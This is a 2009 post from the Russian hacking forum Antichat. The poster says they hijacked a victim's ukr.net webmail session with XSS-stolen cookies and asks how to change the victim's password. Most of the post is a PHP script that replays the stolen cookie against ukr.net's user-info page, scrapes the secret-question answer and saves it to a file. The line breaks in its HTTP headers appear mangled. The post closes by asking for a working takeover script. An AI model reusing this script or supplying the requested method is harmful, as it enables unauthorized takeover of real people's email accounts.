Форум АНТИЧАТ - ukrNet: поиметь пароль

ukrNet: поиметь пароль

22.04.2009, 17:29

firemen

Новичок

Регистрация: 03.06.2006

Сообщений: 22

Провел на форуме:
79448

Репутация: 1

ukrNet: поиметь пароль

через XSS имею куки.
захожу на ящик жертвы нормально.

не нашел, за что бы зацепиться поменять пароль, не зная текущего...

в востановлении пароля используется секретный вопрос.

погуглив, нашел старенький скрипт, позволяющий имея куки выдрать ответ на секретный вопрос, правда работу его немного не понял )

вот он:

PHP код:


		
			
<?

$query=$_SERVER["QUERY_STRING"];

$query=urldecode($query);

$header="GET http://e.ukr.net/cgi-bin/userinfo HTTP/1.0rn"; 

$header.="Referer: http://e.ukr.netrn";

$header.="Cookie: ".$query."rn";

$header.="Host: e.ukr.netrnrn";

$fp=fsockopen("e.ukr.net", 80); 

fwrite($fp, $header); 

$dt=""; 

while (!feof($fp)) 

$dt.=fread($fp, 1024); 

// выдираем из полученной страницы ответ на секретный вопрос

$answ1=strpos($dt,'Password_Answer')+24; 

$answ2=strpos($dt,'" size="40">'); 

$length_answ=$answ2-$answ1; 

$full_answer=substr($dt,$answ1,$length_answ); 

// сохраняем полученный ответ на вопрос в файл: answer.html

$fp1=Fopen("answer.html","a"); 

fwrite($fp1,"$full_answer"); 

fclose($fp1); 

fclose($fp); 

?>

грамотные люди, подскажите есть ли рабочий скрипт такого плана или идеи по смене пароля..

удачи!